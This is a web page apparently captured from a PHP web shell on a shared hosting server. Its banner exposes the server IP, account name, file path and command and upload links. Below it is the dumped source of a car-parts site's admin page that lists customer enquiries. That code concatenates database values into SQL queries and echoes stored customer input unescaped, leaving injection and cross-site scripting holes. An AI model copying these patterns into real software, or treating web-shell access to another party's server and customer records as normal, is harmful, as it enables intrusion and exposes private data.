|
Server IP : 162.214.80.37 / Your IP : 216.73.216.1 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/skyispatudyog/sym/Users/0-imyrqtmy/zugadu/AdminPanel/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include"include/cookie.php"; ?>
<?php
$Page_Title="View Enquiry";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php include"include/head.php"; ?>
<!-- DataTables -->
<link href="plugins/datatables/dataTables.bootstrap4.min.css" rel="stylesheet" type="text/css" />
<link href="plugins/datatables/buttons.bootstrap4.min.css" rel="stylesheet" type="text/css" />
<!-- Responsive datatable examples -->
<link href="plugins/datatables/responsive.bootstrap4.min.css" rel="stylesheet" type="text/css" />
</head>
<body>
<!-- Begin page -->
<div id="wrapper">
<!-- Top Bar Start -->
<?php include"include/topbar.php"; ?>
<!-- Top Bar End -->
<!-- ========== Left Sidebar Start ========== -->
<?php include"include/sidebar.php"; ?>
<!-- Left Sidebar End -->
<!-- ============================================================== -->
<!-- Start right Content here -->
<!-- ============================================================== -->
<div class="content-page">
<!-- Start content -->
<div class="content">
<div class="container-fluid">
<div class="row">
<div class="col-sm-12">
<div class="page-title-box">
<h4 class="page-title"><?php echo $Page_Title; ?></h4>
<!-- <ol class="breadcrumb">
<li class="breadcrumb-item"><a href="javascript:void(0);">Agroxa</a></li>
<li class="breadcrumb-item"><a href="javascript:void(0);">Tables</a></li>
<li class="breadcrumb-item active">Data Table</li>
</ol> -->
<!-- <div class="state-information d-none d-sm-block">
<div class="state-graph">
<div id="header-chart-1"></div>
<div class="info">Balance $ 2,317</div>
</div>
<div class="state-graph">
<div id="header-chart-2"></div>
<div class="info">Item Sold 1230</div>
</div>
</div> -->
</div>
</div>
</div>
<!-- end row -->
<div class="page-content-wrapper">
<div class="row">
<div class="col-12">
<div class="card m-b-20">
<div class="card-body">
<table id="datatable-buttons" class="table table-striped table-bordered dt-responsive nowrap" style="border-collapse: collapse; border-spacing: 0; width: 100%;">
<thead>
<tr>
<th>Id</th>
<th>Enquiry</th>
<th>Type & Date</th>
<th>Title</th>
<th>Attributes</th>
<th>Price</th>
<th>Description</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Id</th>
<th>Enquiry</th>
<th>Type & Date</th>
<th>Title</th>
<th>Attributes</th>
<th>Price</th>
<th>Description</th>
</tr>
</tfoot>
<tbody>
<?php
$trre=0;
$disk="select * from enquiry_data";
$qqk=mysqli_query($db,$disk) or die('error');
while($ak = mysqli_fetch_assoc($qqk))
{
$trre++;
$tid=$ak['Tid'];
$type=$ak['Type'];
if($type==1)
{
$dis="select * from windshield_data where Id=$tid";
$qq=mysqli_query($db,$dis) or die('error');
$a = mysqli_fetch_assoc($qq);
?>
<tr>
<td><?php echo $trre; ?></td>
<td>
<b>Name : </b><?php echo $ak['Name']; ?><br>
<b>Email : </b><?php echo $ak['Email']; ?><br>
<b>Phone Number : </b><?php echo $ak['PhoneNo']; ?><br>
<b>Message : </b><?php echo $ak['Message']; ?><br>
<b>Windshield : </b><?php echo $ak['OrLoc']; ?><br>
</td>
<td>
<b>Windshield Enquiry</b>
<br><b>Date: <b><?php echo $ak['Datee']; ?></b>
</td>
<td><?php echo $a['Title']; ?></td>
<td><b>Brand:</b> <?php $bid= $a['Brand'];
$dids="select * from brand where id='$bid'";
$qdq=mysqli_query($db,$dids) or die('error');
$asd = mysqli_fetch_assoc($qdq);
echo $asd['brand_name'];
?>
<br><b>Model: </b>
<?php $mid= $a['Model'];
$didds="select * from model where id='$mid'";
$qdqd=mysqli_query($db,$didds) or die('error');
$asdd = mysqli_fetch_assoc($qdqd);
echo $asdd['model_name'];
?>
<br><b>Year: </b>
<?php $yid= $a['Year'];
$diddsy="select * from year where id='$yid'";
$qdqdy=mysqli_query($db,$diddsy) or die('error');
$asddy = mysqli_fetch_assoc($qdqdy);
echo $asddy['year'];
?>
<br><b>City: </b>
<?php $cid= $a['City'];
$cdidds="select * from city where city_id='$cid'";
$cqdqd=mysqli_query($db,$cdidds) or die('error');
$casdd = mysqli_fetch_assoc($cqdqd);
echo $casdd['city_name'];
?>
</td>
<td>Original : <?php echo $a['Original']; ?>
<br>
Local : <?php echo $a['Local']; ?>
</td>
<td style="white-space: normal!important;">
<div style="width:150px;height:200px;overflow-y:auto;">
<?php echo $a['Description']; ?>
</div>
</td>
</tr>
<?php
}
if($type==2)
{
$dis="select * from service_data where Id=$tid";
$qq=mysqli_query($db,$dis) or die('error');
$a = mysqli_fetch_assoc($qq);
?>
<tr>
<td><?php echo $trre; ?></td>
<td>
<b>Name : </b><?php echo $ak['Name']; ?><br>
<b>Email : </b><?php echo $ak['Email']; ?><br>
<b>Phone Number : </b><?php echo $ak['PhoneNo']; ?><br>
<b>Message : </b><?php echo $ak['Message']; ?><br>
</td>
<td><b>Service Enquiry</b>
<br><b>Date: <b><?php echo $ak['Datee']; ?></b></td>
<td><?php echo $a['Title']; ?></td>
<td><b>Brand:</b> <?php $bid= $a['Brand'];
$dids="select * from brand where id='$bid'";
$qdq=mysqli_query($db,$dids) or die('error');
$asd = mysqli_fetch_assoc($qdq);
echo $asd['brand_name'];
?>
<br><b>Model: </b>
<?php $mid= $a['Model'];
$didds="select * from model where id='$mid'";
$qdqd=mysqli_query($db,$didds) or die('error');
$asdd = mysqli_fetch_assoc($qdqd);
echo $asdd['model_name'];
?>
<br><b>Year: </b>
<?php $yid= $a['Year'];
$diddsy="select * from year where id='$yid'";
$qdqdy=mysqli_query($db,$diddsy) or die('error');
$asddy = mysqli_fetch_assoc($qdqdy);
echo $asddy['year'];
?>
<br><b>City: </b>
<?php $cid= $a['City'];
$cdidds="select * from city where city_id='$cid'";
$cqdqd=mysqli_query($db,$cdidds) or die('error');
$casdd = mysqli_fetch_assoc($cqdqd);
echo $casdd['city_name'];
?>
</td>
<td>-</td>
<td style="white-space: normal!important;">
<div style="width:150px;height:200px;overflow-y:auto;">
<?php echo $a['Description']; ?>
</div>
</td>
</tr>
<?php } }?>
</tbody>
</table>
</div>
</div>
</div> <!-- end col -->
</div> <!-- end row -->
</div>
<!-- end page content-->
</div> <!-- container-fluid -->
</div> <!-- content -->
<?php include"include/footer.php"; ?>
</div>
<!-- ============================================================== -->
<!-- End Right content here -->
<!-- ============================================================== -->
</div>
<!-- END wrapper -->
<!-- jQuery -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.bundle.min.js"></script>
<script src="assets/js/metisMenu.min.js"></script>
<script src="assets/js/jquery.slimscroll.js"></script>
<script src="assets/js/waves.min.js"></script>
<script src="plugins/jquery-sparkline/jquery.sparkline.min.js"></script>
<!-- Required datatable js -->
<script src="plugins/datatables/jquery.dataTables.min.js"></script>
<script src="plugins/datatables/dataTables.bootstrap4.min.js"></script>
<!-- Buttons examples -->
<script src="plugins/datatables/dataTables.buttons.min.js"></script>
<script src="plugins/datatables/buttons.bootstrap4.min.js"></script>
<script src="plugins/datatables/jszip.min.js"></script>
<script src="plugins/datatables/pdfmake.min.js"></script>
<script src="plugins/datatables/vfs_fonts.js"></script>
<script src="plugins/datatables/buttons.html5.min.js"></script>
<script src="plugins/datatables/buttons.print.min.js"></script>
<script src="plugins/datatables/buttons.colVis.min.js"></script>
<!-- Responsive examples -->
<script src="plugins/datatables/dataTables.responsive.min.js"></script>
<script src="plugins/datatables/responsive.bootstrap4.min.js"></script>
<!-- Datatable init js -->
<script src="assets/pages/datatables.init.js"></script>
<!-- App js -->
<script src="assets/js/app.js"></script>
</body>
</html>